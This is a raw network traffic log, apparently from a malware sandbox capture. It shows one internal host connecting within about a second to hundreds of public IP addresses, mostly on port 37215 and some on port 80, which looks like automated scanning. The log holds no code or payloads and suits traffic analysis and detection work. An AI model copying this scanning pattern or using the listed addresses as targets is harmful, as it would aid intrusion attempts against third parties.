Jul 20, 2024 23:00:58.936352015 CEST	54018	37215	192.168.2.13	46.185.21.147
Jul 20, 2024 23:00:58.936551094 CEST	58296	37215	192.168.2.13	197.9.119.173
Jul 20, 2024 23:00:58.937915087 CEST	33216	80	192.168.2.13	88.72.206.136
Jul 20, 2024 23:00:58.938307047 CEST	52932	37215	192.168.2.13	197.185.241.200
Jul 20, 2024 23:00:58.938353062 CEST	37215	59968	157.184.88.81	192.168.2.13
Jul 20, 2024 23:00:58.938412905 CEST	59968	37215	192.168.2.13	157.184.88.81
Jul 20, 2024 23:00:58.939699888 CEST	80	50962	88.62.196.103	192.168.2.13
Jul 20, 2024 23:00:58.939790964 CEST	50962	80	192.168.2.13	88.62.196.103
Jul 20, 2024 23:00:58.940361023 CEST	37215	49894	114.104.89.214	192.168.2.13
Jul 20, 2024 23:00:58.940438032 CEST	49894	37215	192.168.2.13	114.104.89.214
Jul 20, 2024 23:00:58.940531969 CEST	44874	37215	192.168.2.13	116.156.175.81
Jul 20, 2024 23:00:58.942020893 CEST	37436	80	192.168.2.13	88.188.103.1
Jul 20, 2024 23:00:58.942311049 CEST	37215	58296	197.9.119.173	192.168.2.13
Jul 20, 2024 23:00:58.942353010 CEST	58296	37215	192.168.2.13	197.9.119.173
Jul 20, 2024 23:00:58.942380905 CEST	34624	37215	192.168.2.13	41.88.134.99
Jul 20, 2024 23:00:58.943888903 CEST	80	33216	88.72.206.136	192.168.2.13
Jul 20, 2024 23:00:58.943973064 CEST	33216	80	192.168.2.13	88.72.206.136
Jul 20, 2024 23:00:58.944333076 CEST	37215	52932	197.185.241.200	192.168.2.13
Jul 20, 2024 23:00:58.944384098 CEST	52932	37215	192.168.2.13	197.185.241.200
Jul 20, 2024 23:00:58.944444895 CEST	41912	37215	192.168.2.13	196.108.28.41
Jul 20, 2024 23:00:58.946012020 CEST	51972	80	192.168.2.13	88.45.43.209
Jul 20, 2024 23:00:58.946305990 CEST	37215	44874	116.156.175.81	192.168.2.13
Jul 20, 2024 23:00:58.946316004 CEST	51088	37215	192.168.2.13	41.109.79.201
Jul 20, 2024 23:00:58.946352005 CEST	44874	37215	192.168.2.13	116.156.175.81
Jul 20, 2024 23:00:58.947609901 CEST	80	37436	88.188.103.1	192.168.2.13
Jul 20, 2024 23:00:58.947639942 CEST	37215	34624	41.88.134.99	192.168.2.13
Jul 20, 2024 23:00:58.947745085 CEST	34624	37215	192.168.2.13	41.88.134.99
Jul 20, 2024 23:00:58.947755098 CEST	37436	80	192.168.2.13	88.188.103.1
Jul 20, 2024 23:00:58.948671103 CEST	45336	37215	192.168.2.13	197.36.237.89
Jul 20, 2024 23:00:58.949421883 CEST	37215	41912	196.108.28.41	192.168.2.13
Jul 20, 2024 23:00:58.949467897 CEST	41912	37215	192.168.2.13	196.108.28.41
Jul 20, 2024 23:00:58.950153112 CEST	36166	80	192.168.2.13	88.172.217.29
Jul 20, 2024 23:00:58.950596094 CEST	40306	37215	192.168.2.13	157.42.236.252
Jul 20, 2024 23:00:58.951087952 CEST	80	51972	88.45.43.209	192.168.2.13
Jul 20, 2024 23:00:58.951298952 CEST	51972	80	192.168.2.13	88.45.43.209
Jul 20, 2024 23:00:58.951332092 CEST	37215	51088	41.109.79.201	192.168.2.13
Jul 20, 2024 23:00:58.951412916 CEST	51088	37215	192.168.2.13	41.109.79.201
Jul 20, 2024 23:00:58.952688932 CEST	57056	37215	192.168.2.13	197.109.166.112
Jul 20, 2024 23:00:58.953843117 CEST	37215	45336	197.36.237.89	192.168.2.13
Jul 20, 2024 23:00:58.953891993 CEST	45336	37215	192.168.2.13	197.36.237.89
Jul 20, 2024 23:00:58.954004049 CEST	55022	80	192.168.2.13	88.11.53.195
Jul 20, 2024 23:00:58.954435110 CEST	55064	37215	192.168.2.13	197.145.164.25
Jul 20, 2024 23:00:58.955204964 CEST	80	36166	88.172.217.29	192.168.2.13
Jul 20, 2024 23:00:58.955245972 CEST	36166	80	192.168.2.13	88.172.217.29
Jul 20, 2024 23:00:58.955710888 CEST	37215	40306	157.42.236.252	192.168.2.13
Jul 20, 2024 23:00:58.955785990 CEST	40306	37215	192.168.2.13	157.42.236.252
Jul 20, 2024 23:00:58.956423044 CEST	35012	37215	192.168.2.13	157.24.52.3
Jul 20, 2024 23:00:58.957704067 CEST	47548	80	192.168.2.13	88.91.94.195
Jul 20, 2024 23:00:58.957959890 CEST	37215	57056	197.109.166.112	192.168.2.13
Jul 20, 2024 23:00:58.958023071 CEST	57056	37215	192.168.2.13	197.109.166.112
Jul 20, 2024 23:00:58.958080053 CEST	52206	37215	192.168.2.13	157.132.248.230
Jul 20, 2024 23:00:58.959062099 CEST	80	55022	88.11.53.195	192.168.2.13
Jul 20, 2024 23:00:58.959371090 CEST	55022	80	192.168.2.13	88.11.53.195
Jul 20, 2024 23:00:58.959634066 CEST	37215	55064	197.145.164.25	192.168.2.13
Jul 20, 2024 23:00:58.959677935 CEST	55064	37215	192.168.2.13	197.145.164.25
Jul 20, 2024 23:00:58.960033894 CEST	49980	37215	192.168.2.13	217.47.253.96
Jul 20, 2024 23:00:58.961343050 CEST	50838	80	192.168.2.13	88.183.179.90
Jul 20, 2024 23:00:58.961347103 CEST	37215	35012	157.24.52.3	192.168.2.13
Jul 20, 2024 23:00:58.961458921 CEST	35012	37215	192.168.2.13	157.24.52.3
Jul 20, 2024 23:00:58.961786985 CEST	50812	37215	192.168.2.13	104.140.179.113
Jul 20, 2024 23:00:58.962536097 CEST	80	47548	88.91.94.195	192.168.2.13
Jul 20, 2024 23:00:58.962666988 CEST	47548	80	192.168.2.13	88.91.94.195
Jul 20, 2024 23:00:58.963149071 CEST	37215	52206	157.132.248.230	192.168.2.13
Jul 20, 2024 23:00:58.963191032 CEST	52206	37215	192.168.2.13	157.132.248.230
Jul 20, 2024 23:00:58.963747978 CEST	42034	37215	192.168.2.13	163.150.42.115
Jul 20, 2024 23:00:58.966150045 CEST	52376	37215	192.168.2.13	138.35.105.236
Jul 20, 2024 23:00:58.967134953 CEST	37215	49980	217.47.253.96	192.168.2.13
Jul 20, 2024 23:00:58.967179060 CEST	49980	37215	192.168.2.13	217.47.253.96
Jul 20, 2024 23:00:58.968199968 CEST	80	50838	88.183.179.90	192.168.2.13
Jul 20, 2024 23:00:58.968218088 CEST	37215	50812	104.140.179.113	192.168.2.13
Jul 20, 2024 23:00:58.968274117 CEST	50838	80	192.168.2.13	88.183.179.90
Jul 20, 2024 23:00:58.968389034 CEST	50812	37215	192.168.2.13	104.140.179.113
Jul 20, 2024 23:00:58.968389034 CEST	42636	37215	192.168.2.13	41.135.156.196
Jul 20, 2024 23:00:58.969485998 CEST	37215	42034	163.150.42.115	192.168.2.13
Jul 20, 2024 23:00:58.969532013 CEST	42034	37215	192.168.2.13	163.150.42.115
Jul 20, 2024 23:00:58.970952034 CEST	47914	37215	192.168.2.13	75.142.64.164
Jul 20, 2024 23:00:58.973193884 CEST	36856	37215	192.168.2.13	197.84.11.202
Jul 20, 2024 23:00:58.975256920 CEST	38556	37215	192.168.2.13	157.11.18.169
Jul 20, 2024 23:00:58.977487087 CEST	42570	37215	192.168.2.13	181.77.179.109
Jul 20, 2024 23:00:58.979775906 CEST	38738	37215	192.168.2.13	157.200.38.194
Jul 20, 2024 23:00:58.980768919 CEST	37215	52376	138.35.105.236	192.168.2.13
Jul 20, 2024 23:00:58.980820894 CEST	52376	37215	192.168.2.13	138.35.105.236
Jul 20, 2024 23:00:58.980827093 CEST	37215	42636	41.135.156.196	192.168.2.13
Jul 20, 2024 23:00:58.981004000 CEST	42636	37215	192.168.2.13	41.135.156.196
Jul 20, 2024 23:00:58.981200933 CEST	37215	47914	75.142.64.164	192.168.2.13
Jul 20, 2024 23:00:58.981436014 CEST	37215	36856	197.84.11.202	192.168.2.13
Jul 20, 2024 23:00:58.981452942 CEST	47914	37215	192.168.2.13	75.142.64.164
Jul 20, 2024 23:00:58.981465101 CEST	37215	38556	157.11.18.169	192.168.2.13
Jul 20, 2024 23:00:58.981504917 CEST	38556	37215	192.168.2.13	157.11.18.169
Jul 20, 2024 23:00:58.981601000 CEST	36856	37215	192.168.2.13	197.84.11.202
Jul 20, 2024 23:00:58.982009888 CEST	45584	37215	192.168.2.13	157.219.233.88
Jul 20, 2024 23:00:58.983736992 CEST	37215	42570	181.77.179.109	192.168.2.13
Jul 20, 2024 23:00:58.983803988 CEST	42570	37215	192.168.2.13	181.77.179.109
Jul 20, 2024 23:00:58.984231949 CEST	49566	37215	192.168.2.13	197.75.184.178
Jul 20, 2024 23:00:58.985038996 CEST	37215	38738	157.200.38.194	192.168.2.13
Jul 20, 2024 23:00:58.985095978 CEST	38738	37215	192.168.2.13	157.200.38.194
Jul 20, 2024 23:00:58.986094952 CEST	54504	37215	192.168.2.13	203.131.164.121
Jul 20, 2024 23:00:58.986156940 CEST	40224	80	192.168.2.13	88.47.144.213
Jul 20, 2024 23:00:58.987540007 CEST	37215	45584	157.219.233.88	192.168.2.13
Jul 20, 2024 23:00:58.987771034 CEST	45584	37215	192.168.2.13	157.219.233.88
Jul 20, 2024 23:00:58.988009930 CEST	50670	37215	192.168.2.13	197.56.38.36
Jul 20, 2024 23:00:58.989218950 CEST	37215	49566	197.75.184.178	192.168.2.13
Jul 20, 2024 23:00:58.989285946 CEST	49566	37215	192.168.2.13	197.75.184.178
Jul 20, 2024 23:00:58.989496946 CEST	60844	80	192.168.2.13	88.139.53.242
Jul 20, 2024 23:00:58.991594076 CEST	37215	54504	203.131.164.121	192.168.2.13
Jul 20, 2024 23:00:58.991651058 CEST	80	40224	88.47.144.213	192.168.2.13
Jul 20, 2024 23:00:58.991694927 CEST	40224	80	192.168.2.13	88.47.144.213
Jul 20, 2024 23:00:58.991739035 CEST	54504	37215	192.168.2.13	203.131.164.121
Jul 20, 2024 23:00:58.992464066 CEST	58092	80	192.168.2.13	88.142.208.235
Jul 20, 2024 23:00:58.992948055 CEST	37215	50670	197.56.38.36	192.168.2.13
Jul 20, 2024 23:00:58.992991924 CEST	50670	37215	192.168.2.13	197.56.38.36
Jul 20, 2024 23:00:58.994731903 CEST	51444	80	192.168.2.13	88.217.111.86
Jul 20, 2024 23:00:58.996953011 CEST	42438	80	192.168.2.13	88.147.170.219
Jul 20, 2024 23:00:58.999170065 CEST	55016	80	192.168.2.13	88.60.255.249
Jul 20, 2024 23:00:59.000469923 CEST	80	60844	88.139.53.242	192.168.2.13
Jul 20, 2024 23:00:59.000664949 CEST	60844	80	192.168.2.13	88.139.53.242
Jul 20, 2024 23:00:59.000685930 CEST	80	58092	88.142.208.235	192.168.2.13
Jul 20, 2024 23:00:59.000726938 CEST	80	51444	88.217.111.86	192.168.2.13
Jul 20, 2024 23:00:59.000777960 CEST	51444	80	192.168.2.13	88.217.111.86
Jul 20, 2024 23:00:59.000819921 CEST	58092	80	192.168.2.13	88.142.208.235
Jul 20, 2024 23:00:59.001770973 CEST	56468	80	192.168.2.13	88.10.119.162
Jul 20, 2024 23:00:59.004436016 CEST	60768	80	192.168.2.13	88.42.123.165
Jul 20, 2024 23:00:59.004607916 CEST	80	42438	88.147.170.219	192.168.2.13
Jul 20, 2024 23:00:59.004647970 CEST	42438	80	192.168.2.13	88.147.170.219
Jul 20, 2024 23:00:59.004709959 CEST	80	55016	88.60.255.249	192.168.2.13
Jul 20, 2024 23:00:59.004762888 CEST	55016	80	192.168.2.13	88.60.255.249
Jul 20, 2024 23:00:59.006546021 CEST	41974	80	192.168.2.13	88.185.18.207
Jul 20, 2024 23:00:59.008327961 CEST	80	56468	88.10.119.162	192.168.2.13
Jul 20, 2024 23:00:59.008366108 CEST	56468	80	192.168.2.13	88.10.119.162
Jul 20, 2024 23:00:59.008651018 CEST	42862	80	192.168.2.13	88.203.34.200
Jul 20, 2024 23:00:59.009844065 CEST	80	60768	88.42.123.165	192.168.2.13
Jul 20, 2024 23:00:59.009974003 CEST	60768	80	192.168.2.13	88.42.123.165
Jul 20, 2024 23:00:59.010767937 CEST	54654	80	192.168.2.13	88.51.29.49
Jul 20, 2024 23:00:59.012962103 CEST	37482	80	192.168.2.13	88.115.87.106
Jul 20, 2024 23:00:59.013665915 CEST	80	41974	88.185.18.207	192.168.2.13
Jul 20, 2024 23:00:59.013804913 CEST	41974	80	192.168.2.13	88.185.18.207
Jul 20, 2024 23:00:59.015028000 CEST	80	42862	88.203.34.200	192.168.2.13
Jul 20, 2024 23:00:59.015074015 CEST	42862	80	192.168.2.13	88.203.34.200
Jul 20, 2024 23:00:59.015599012 CEST	53286	80	192.168.2.13	88.15.130.209
Jul 20, 2024 23:00:59.016990900 CEST	80	54654	88.51.29.49	192.168.2.13
Jul 20, 2024 23:00:59.017031908 CEST	54654	80	192.168.2.13	88.51.29.49
Jul 20, 2024 23:00:59.017321110 CEST	34082	37215	192.168.2.13	25.100.29.220
Jul 20, 2024 23:00:59.017858028 CEST	80	37482	88.115.87.106	192.168.2.13
Jul 20, 2024 23:00:59.017920971 CEST	37482	80	192.168.2.13	88.115.87.106
Jul 20, 2024 23:00:59.019395113 CEST	35940	37215	192.168.2.13	157.3.21.190
Jul 20, 2024 23:00:59.019481897 CEST	32874	37215	192.168.2.13	41.56.118.161
Jul 20, 2024 23:00:59.019539118 CEST	36272	37215	192.168.2.13	182.85.50.153
Jul 20, 2024 23:00:59.019558907 CEST	38980	37215	192.168.2.13	197.214.55.135
Jul 20, 2024 23:00:59.019633055 CEST	44802	37215	192.168.2.13	194.65.196.65
Jul 20, 2024 23:00:59.019655943 CEST	51224	37215	192.168.2.13	157.200.98.141
Jul 20, 2024 23:00:59.019712925 CEST	45044	37215	192.168.2.13	159.247.186.213
Jul 20, 2024 23:00:59.019716024 CEST	39322	37215	192.168.2.13	197.234.38.242
Jul 20, 2024 23:00:59.019716024 CEST	33704	37215	192.168.2.13	197.92.237.222
Jul 20, 2024 23:00:59.019747019 CEST	52992	37215	192.168.2.13	212.19.225.186
Jul 20, 2024 23:00:59.019788027 CEST	51784	37215	192.168.2.13	109.174.172.219
Jul 20, 2024 23:00:59.019793034 CEST	57984	37215	192.168.2.13	157.154.83.107
Jul 20, 2024 23:00:59.019819021 CEST	39572	37215	192.168.2.13	197.64.178.193
Jul 20, 2024 23:00:59.019865036 CEST	51480	37215	192.168.2.13	124.38.65.99
Jul 20, 2024 23:00:59.019910097 CEST	49448	37215	192.168.2.13	157.34.28.229
Jul 20, 2024 23:00:59.019912004 CEST	35076	37215	192.168.2.13	41.201.10.23
Jul 20, 2024 23:00:59.019938946 CEST	40932	37215	192.168.2.13	157.249.112.126
Jul 20, 2024 23:00:59.019994020 CEST	36346	37215	192.168.2.13	157.62.193.172
Jul 20, 2024 23:00:59.019996881 CEST	53188	37215	192.168.2.13	157.34.92.241
Jul 20, 2024 23:00:59.020039082 CEST	42210	37215	192.168.2.13	197.130.190.85
Jul 20, 2024 23:00:59.020039082 CEST	55082	37215	192.168.2.13	157.134.72.2
Jul 20, 2024 23:00:59.020086050 CEST	38898	37215	192.168.2.13	104.8.73.49
Jul 20, 2024 23:00:59.020131111 CEST	37720	37215	192.168.2.13	41.17.9.128
Jul 20, 2024 23:00:59.020164013 CEST	35902	37215	192.168.2.13	41.128.69.214
Jul 20, 2024 23:00:59.020174980 CEST	56530	37215	192.168.2.13	157.178.20.242
Jul 20, 2024 23:00:59.020188093 CEST	34008	37215	192.168.2.13	197.39.121.171
Jul 20, 2024 23:00:59.020190954 CEST	38858	37215	192.168.2.13	41.209.60.208
Jul 20, 2024 23:00:59.020227909 CEST	44962	37215	192.168.2.13	197.6.247.149
Jul 20, 2024 23:00:59.020287991 CEST	44316	37215	192.168.2.13	197.21.88.67
Jul 20, 2024 23:00:59.020319939 CEST	40876	37215	192.168.2.13	157.40.102.40
Jul 20, 2024 23:00:59.020328045 CEST	42776	37215	192.168.2.13	197.245.35.233
Jul 20, 2024 23:00:59.020375013 CEST	44478	37215	192.168.2.13	41.185.235.4
Jul 20, 2024 23:00:59.020375013 CEST	50918	37215	192.168.2.13	157.245.110.242
Jul 20, 2024 23:00:59.020402908 CEST	41716	37215	192.168.2.13	197.168.76.154
Jul 20, 2024 23:00:59.020448923 CEST	40410	37215	192.168.2.13	157.108.71.72
Jul 20, 2024 23:00:59.020493031 CEST	44818	37215	192.168.2.13	197.145.183.59
Jul 20, 2024 23:00:59.020509005 CEST	58098	37215	192.168.2.13	197.124.222.24
Jul 20, 2024 23:00:59.020551920 CEST	32872	37215	192.168.2.13	106.174.68.245
Jul 20, 2024 23:00:59.020586967 CEST	60718	37215	192.168.2.13	197.190.172.118
Jul 20, 2024 23:00:59.020683050 CEST	51402	37215	192.168.2.13	157.213.124.92
Jul 20, 2024 23:00:59.020684958 CEST	49466	37215	192.168.2.13	157.231.126.250
Jul 20, 2024 23:00:59.020715952 CEST	56970	37215	192.168.2.13	192.48.206.157
Jul 20, 2024 23:00:59.020725965 CEST	80	53286	88.15.130.209	192.168.2.13
Jul 20, 2024 23:00:59.020760059 CEST	59660	37215	192.168.2.13	114.116.15.132
Jul 20, 2024 23:00:59.020767927 CEST	53286	80	192.168.2.13	88.15.130.209
Jul 20, 2024 23:00:59.020786047 CEST	58506	37215	192.168.2.13	157.15.177.153
Jul 20, 2024 23:00:59.020814896 CEST	58342	37215	192.168.2.13	67.164.145.87
Jul 20, 2024 23:00:59.020900965 CEST	37268	37215	192.168.2.13	41.152.229.173
Jul 20, 2024 23:00:59.020931959 CEST	40354	37215	192.168.2.13	157.1.12.172
Jul 20, 2024 23:00:59.020935059 CEST	33556	37215	192.168.2.13	157.220.78.185
Jul 20, 2024 23:00:59.020982027 CEST	52342	37215	192.168.2.13	157.110.69.240
Jul 20, 2024 23:00:59.020987988 CEST	49736	37215	192.168.2.13	65.79.209.34
Jul 20, 2024 23:00:59.020987988 CEST	32838	37215	192.168.2.13	41.150.219.200
Jul 20, 2024 23:00:59.021018982 CEST	50030	37215	192.168.2.13	157.207.241.220
Jul 20, 2024 23:00:59.021071911 CEST	47944	37215	192.168.2.13	41.143.52.237
Jul 20, 2024 23:00:59.021109104 CEST	32816	37215	192.168.2.13	41.4.10.141
Jul 20, 2024 23:00:59.021109104 CEST	37640	37215	192.168.2.13	157.171.167.12
Jul 20, 2024 23:00:59.021140099 CEST	45338	37215	192.168.2.13	41.44.46.164
Jul 20, 2024 23:00:59.021163940 CEST	56172	37215	192.168.2.13	41.255.114.202
Jul 20, 2024 23:00:59.021200895 CEST	50462	37215	192.168.2.13	157.161.52.19
Jul 20, 2024 23:00:59.021251917 CEST	37320	37215	192.168.2.13	197.204.98.25
Jul 20, 2024 23:00:59.021251917 CEST	38068	37215	192.168.2.13	37.50.200.38
Jul 20, 2024 23:00:59.021307945 CEST	54950	37215	192.168.2.13	157.230.111.60
Jul 20, 2024 23:00:59.021321058 CEST	33654	37215	192.168.2.13	110.202.3.118
Jul 20, 2024 23:00:59.021337986 CEST	53836	37215	192.168.2.13	157.231.4.197
Jul 20, 2024 23:00:59.021393061 CEST	54336	37215	192.168.2.13	197.70.102.93
Jul 20, 2024 23:00:59.021446943 CEST	50040	37215	192.168.2.13	41.186.86.221
Jul 20, 2024 23:00:59.021490097 CEST	58760	37215	192.168.2.13	52.138.177.196
Jul 20, 2024 23:00:59.021509886 CEST	41822	37215	192.168.2.13	157.181.146.64
Jul 20, 2024 23:00:59.021511078 CEST	43748	37215	192.168.2.13	183.18.158.37
Jul 20, 2024 23:00:59.021579981 CEST	53236	37215	192.168.2.13	2.69.54.160
Jul 20, 2024 23:00:59.021579981 CEST	60186	37215	192.168.2.13	41.237.188.97
Jul 20, 2024 23:00:59.021586895 CEST	58158	37215	192.168.2.13	157.138.203.32
Jul 20, 2024 23:00:59.021620989 CEST	34700	37215	192.168.2.13	197.209.60.212
Jul 20, 2024 23:00:59.021657944 CEST	39592	37215	192.168.2.13	157.156.49.184
Jul 20, 2024 23:00:59.021675110 CEST	60170	37215	192.168.2.13	197.17.13.19
Jul 20, 2024 23:00:59.021740913 CEST	48244	37215	192.168.2.13	157.45.88.204
Jul 20, 2024 23:00:59.021791935 CEST	39112	37215	192.168.2.13	145.185.248.183
Jul 20, 2024 23:00:59.021825075 CEST	39374	37215	192.168.2.13	41.194.84.193
Jul 20, 2024 23:00:59.021856070 CEST	57934	37215	192.168.2.13	41.114.67.30
Jul 20, 2024 23:00:59.021889925 CEST	54514	37215	192.168.2.13	41.150.243.200
Jul 20, 2024 23:00:59.021889925 CEST	44740	37215	192.168.2.13	197.238.40.168
Jul 20, 2024 23:00:59.021889925 CEST	42662	37215	192.168.2.13	157.222.199.50
Jul 20, 2024 23:00:59.021889925 CEST	58998	37215	192.168.2.13	41.79.63.222
Jul 20, 2024 23:00:59.021889925 CEST	49998	37215	192.168.2.13	197.54.41.117
Jul 20, 2024 23:00:59.021904945 CEST	42974	37215	192.168.2.13	157.11.177.150
Jul 20, 2024 23:00:59.021908045 CEST	56090	37215	192.168.2.13	220.90.88.236
Jul 20, 2024 23:00:59.021933079 CEST	38854	37215	192.168.2.13	203.129.114.89
Jul 20, 2024 23:00:59.022037029 CEST	40934	37215	192.168.2.13	197.16.131.86
Jul 20, 2024 23:00:59.022082090 CEST	33242	37215	192.168.2.13	41.62.99.32
Jul 20, 2024 23:00:59.022098064 CEST	43002	37215	192.168.2.13	157.180.195.105
Jul 20, 2024 23:00:59.022114992 CEST	55466	37215	192.168.2.13	41.70.65.103
Jul 20, 2024 23:00:59.022237062 CEST	59386	37215	192.168.2.13	41.222.221.26
Jul 20, 2024 23:00:59.022237062 CEST	56484	37215	192.168.2.13	197.112.125.91
Jul 20, 2024 23:00:59.022254944 CEST	57130	37215	192.168.2.13	41.187.2.103
Jul 20, 2024 23:00:59.022298098 CEST	46612	37215	192.168.2.13	20.222.215.240
Jul 20, 2024 23:00:59.022344112 CEST	54018	37215	192.168.2.13	46.185.21.147
Jul 20, 2024 23:00:59.022391081 CEST	49894	37215	192.168.2.13	114.104.89.214
Jul 20, 2024 23:00:59.022402048 CEST	58296	37215	192.168.2.13	197.9.119.173
Jul 20, 2024 23:00:59.022586107 CEST	41912	37215	192.168.2.13	196.108.28.41
Jul 20, 2024 23:00:59.022603035 CEST	52932	37215	192.168.2.13	197.185.241.200
Jul 20, 2024 23:00:59.022603035 CEST	44874	37215	192.168.2.13	116.156.175.81
Jul 20, 2024 23:00:59.022603035 CEST	34624	37215	192.168.2.13	41.88.134.99
Jul 20, 2024 23:00:59.022605896 CEST	35422	37215	192.168.2.13	157.106.231.112
Jul 20, 2024 23:00:59.022666931 CEST	55064	37215	192.168.2.13	197.145.164.25
Jul 20, 2024 23:00:59.022689104 CEST	37215	34082	25.100.29.220	192.168.2.13
Jul 20, 2024 23:00:59.022701025 CEST	42216	37215	192.168.2.13	197.73.217.175
Jul 20, 2024 23:00:59.022701025 CEST	35044	37215	192.168.2.13	197.35.252.89
Jul 20, 2024 23:00:59.022703886 CEST	52206	37215	192.168.2.13	157.132.248.230
Jul 20, 2024 23:00:59.022701025 CEST	51088	37215	192.168.2.13	41.109.79.201
Jul 20, 2024 23:00:59.022701025 CEST	40306	37215	192.168.2.13	157.42.236.252
Jul 20, 2024 23:00:59.022751093 CEST	57056	37215	192.168.2.13	197.109.166.112
Jul 20, 2024 23:00:59.022806883 CEST	34082	37215	192.168.2.13	25.100.29.220
Jul 20, 2024 23:00:59.022893906 CEST	42034	37215	192.168.2.13	163.150.42.115
Jul 20, 2024 23:00:59.022895098 CEST	50812	37215	192.168.2.13	104.140.179.113
Jul 20, 2024 23:00:59.022895098 CEST	47914	37215	192.168.2.13	75.142.64.164
Jul 20, 2024 23:00:59.022895098 CEST	42636	37215	192.168.2.13	41.135.156.196
Jul 20, 2024 23:00:59.022941113 CEST	38556	37215	192.168.2.13	157.11.18.169
Jul 20, 2024 23:00:59.022999048 CEST	49980	37215	192.168.2.13	217.47.253.96
Jul 20, 2024 23:00:59.023192883 CEST	35940	37215	192.168.2.13	157.3.21.190
Jul 20, 2024 23:00:59.023192883 CEST	50670	37215	192.168.2.13	197.56.38.36
Jul 20, 2024 23:00:59.023231030 CEST	32874	37215	192.168.2.13	41.56.118.161
Jul 20, 2024 23:00:59.023269892 CEST	37234	37215	192.168.2.13	86.82.54.225
Jul 20, 2024 23:00:59.023269892 CEST	59968	37215	192.168.2.13	157.184.88.81
Jul 20, 2024 23:00:59.023269892 CEST	45336	37215	192.168.2.13	197.36.237.89
Jul 20, 2024 23:00:59.023269892 CEST	35012	37215	192.168.2.13	157.24.52.3
Jul 20, 2024 23:00:59.023281097 CEST	33704	37215	192.168.2.13	197.92.237.222
Jul 20, 2024 23:00:59.023269892 CEST	42570	37215	192.168.2.13	181.77.179.109
Jul 20, 2024 23:00:59.023341894 CEST	51224	37215	192.168.2.13	157.200.98.141
Jul 20, 2024 23:00:59.023341894 CEST	45044	37215	192.168.2.13	159.247.186.213
Jul 20, 2024 23:00:59.023355961 CEST	52376	37215	192.168.2.13	138.35.105.236
Jul 20, 2024 23:00:59.023355961 CEST	38738	37215	192.168.2.13	157.200.38.194
Jul 20, 2024 23:00:59.023355961 CEST	36272	37215	192.168.2.13	182.85.50.153
Jul 20, 2024 23:00:59.023399115 CEST	45584	37215	192.168.2.13	157.219.233.88
Jul 20, 2024 23:00:59.023399115 CEST	38980	37215	192.168.2.13	197.214.55.135
Jul 20, 2024 23:00:59.023399115 CEST	39322	37215	192.168.2.13	197.234.38.242
Jul 20, 2024 23:00:59.023520947 CEST	44962	37215	192.168.2.13	197.6.247.149
Jul 20, 2024 23:00:59.023521900 CEST	42776	37215	192.168.2.13	197.245.35.233
Jul 20, 2024 23:00:59.023642063 CEST	49448	37215	192.168.2.13	157.34.28.229
Jul 20, 2024 23:00:59.023642063 CEST	40932	37215	192.168.2.13	157.249.112.126
Jul 20, 2024 23:00:59.023642063 CEST	44478	37215	192.168.2.13	41.185.235.4
Jul 20, 2024 23:00:59.023642063 CEST	50918	37215	192.168.2.13	157.245.110.242
Jul 20, 2024 23:00:59.023642063 CEST	41716	37215	192.168.2.13	197.168.76.154
Jul 20, 2024 23:00:59.023642063 CEST	40410	37215	192.168.2.13	157.108.71.72
Jul 20, 2024 23:00:59.023642063 CEST	60718	37215	192.168.2.13	197.190.172.118
Jul 20, 2024 23:00:59.023683071 CEST	51480	37215	192.168.2.13	124.38.65.99
Jul 20, 2024 23:00:59.023683071 CEST	36346	37215	192.168.2.13	157.62.193.172
Jul 20, 2024 23:00:59.023683071 CEST	42210	37215	192.168.2.13	197.130.190.85
Jul 20, 2024 23:00:59.023683071 CEST	55082	37215	192.168.2.13	157.134.72.2
Jul 20, 2024 23:00:59.023683071 CEST	37720	37215	192.168.2.13	41.17.9.128
Jul 20, 2024 23:00:59.023683071 CEST	34008	37215	192.168.2.13	197.39.121.171
Jul 20, 2024 23:00:59.023683071 CEST	58098	37215	192.168.2.13	197.124.222.24
Jul 20, 2024 23:00:59.023730993 CEST	35902	37215	192.168.2.13	41.128.69.214
Jul 20, 2024 23:00:59.023730993 CEST	40876	37215	192.168.2.13	157.40.102.40
Jul 20, 2024 23:00:59.023730993 CEST	32872	37215	192.168.2.13	106.174.68.245
Jul 20, 2024 23:00:59.023730993 CEST	51402	37215	192.168.2.13	157.213.124.92
Jul 20, 2024 23:00:59.023732901 CEST	36856	37215	192.168.2.13	197.84.11.202
Jul 20, 2024 23:00:59.023732901 CEST	54504	37215	192.168.2.13	203.131.164.121
Jul 20, 2024 23:00:59.023732901 CEST	49566	37215	192.168.2.13	197.75.184.178
Jul 20, 2024 23:00:59.023732901 CEST	56530	37215	192.168.2.13	157.178.20.242
Jul 20, 2024 23:00:59.023732901 CEST	52342	37215	192.168.2.13	157.110.69.240
Jul 20, 2024 23:00:59.023744106 CEST	33556	37215	192.168.2.13	157.220.78.185
Jul 20, 2024 23:00:59.023744106 CEST	49736	37215	192.168.2.13	65.79.209.34
Jul 20, 2024 23:00:59.023744106 CEST	32838	37215	192.168.2.13	41.150.219.200
Jul 20, 2024 23:00:59.023940086 CEST	52992	37215	192.168.2.13	212.19.225.186
Jul 20, 2024 23:00:59.023940086 CEST	57984	37215	192.168.2.13	157.154.83.107
Jul 20, 2024 23:00:59.023940086 CEST	39572	37215	192.168.2.13	197.64.178.193
Jul 20, 2024 23:00:59.023940086 CEST	58506	37215	192.168.2.13	157.15.177.153
Jul 20, 2024 23:00:59.023940086 CEST	40354	37215	192.168.2.13	157.1.12.172
Jul 20, 2024 23:00:59.023940086 CEST	50030	37215	192.168.2.13	157.207.241.220
Jul 20, 2024 23:00:59.023940086 CEST	45338	37215	192.168.2.13	41.44.46.164
Jul 20, 2024 23:00:59.023940086 CEST	33654	37215	192.168.2.13	110.202.3.118
Jul 20, 2024 23:00:59.024019957 CEST	56172	37215	192.168.2.13	41.255.114.202
Jul 20, 2024 23:00:59.024019957 CEST	54336	37215	192.168.2.13	197.70.102.93
Jul 20, 2024 23:00:59.024019957 CEST	50040	37215	192.168.2.13	41.186.86.221
Jul 20, 2024 23:00:59.024019957 CEST	60170	37215	192.168.2.13	197.17.13.19
Jul 20, 2024 23:00:59.024019957 CEST	48244	37215	192.168.2.13	157.45.88.204
Jul 20, 2024 23:00:59.024130106 CEST	47944	37215	192.168.2.13	41.143.52.237
Jul 20, 2024 23:00:59.024130106 CEST	53836	37215	192.168.2.13	157.231.4.197
Jul 20, 2024 23:00:59.024130106 CEST	54514	37215	192.168.2.13	41.150.243.200
Jul 20, 2024 23:00:59.024130106 CEST	44740	37215	192.168.2.13	197.238.40.168
Jul 20, 2024 23:00:59.024130106 CEST	42662	37215	192.168.2.13	157.222.199.50
Jul 20, 2024 23:00:59.024130106 CEST	58998	37215	192.168.2.13	41.79.63.222
